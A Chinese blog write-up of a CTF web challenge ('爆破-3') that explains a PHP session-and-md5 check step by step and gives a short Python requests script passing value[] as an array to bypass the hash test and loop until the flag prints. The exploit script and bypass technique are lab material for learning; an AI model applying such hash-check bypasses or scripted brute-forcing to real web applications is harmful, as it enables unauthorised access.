zoukankan      html  css  js  c++  java
  • 爆破-3

    它提示我们这个真的是爆破。。。。好吧,我有点不信,他这个糟老头在坏得很

    看看代码

    1.第一句是规定报告错误级别为0,也就是Disable error reporting不报告错误

    2.第二句是存储session数据,也就是在网页上给服务器个信息,我们来了

    3.第三句是require函数:也是引用flag.php的意思,不过与include不同的是,如果产生错误则会停止执行网页,而include会继续执行

    4.然后是一个if结构,先判断$_SESSION['nums']是否为空或则为NULL,如果不是则让$_SESSION['nums'] = 0$_SESSION['time'] = time()time() 函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数$_SESSION['whoami'] = 'ea'。

    5.然后又是一个if判断,当这个session的值+120后小于当前时间就执行session_destroy()函数:销毁session

    6.valuepost的形式传入

    7.创建一个从az的数组让其等于str_rand

    8.生成两个随机的str_rand然后让他们连接起来赋值给str_rands

    9.一个if结构,如果whoami等于数组的首位和第二位,并且变量value的散列值从第五位到第九位等于0则让nums+1,让whoami的值等于str_rands,然后打印出str_rands

    10.如果nums的值大于10则打印flag

    浏览整段代码,意思就是我们整个过程需要在打开网页的2分钟内完成,然后value的值为aenums的值就+1,然后再生成一个随机数据,如果value又等于这个值则会让nums再次+1,反复重复直到nums大于10就输出flag

    所以这里使用脚本爆破(附上一个dalao的脚本)

    import requests
    
    url = "http://53617f45ee114de4945b1fc8661d2c36844810d2d02f4882.changame.ichunqiu.com//?value[]=ea"
    
    al = ['abcdefghijklmnopqrstuvwxyz']
    
    s = requests.session()
    
    r = s.get(url)
    
    for i in range(20):
    url = "http://53617f45ee114de4945b1fc8661d2c36844810d2d02f4882.changame.ichunqiu.com//?value[]=" + r.content[0:2]
    r = s.get(url)
    print r.content

    注:url为自己的网页链接

    就可以得到flag

  • 相关阅读:
    ExtJs005继承
    ExtJs004define定义类
    ExtJS笔记
    解决vscode-pandoc插件生成pdf中文显示问题
    UDP学习笔记(.NET)
    WPF类库不能添加资源词典(xaml)的解决办法
    解决win10下获取操作系统版本为6.2.900(win8)的问题
    [转] Unit Test 访问Internal类型和方法
    VS2017使用小技巧(持续更新。。。)
    [转]Github遇到Permanently added the RSA host key for IP address '192.30.252.128' to the list of known host
  • 原文地址:https://www.cnblogs.com/wosun/p/11240963.html
Copyright © 2011-2022 走看看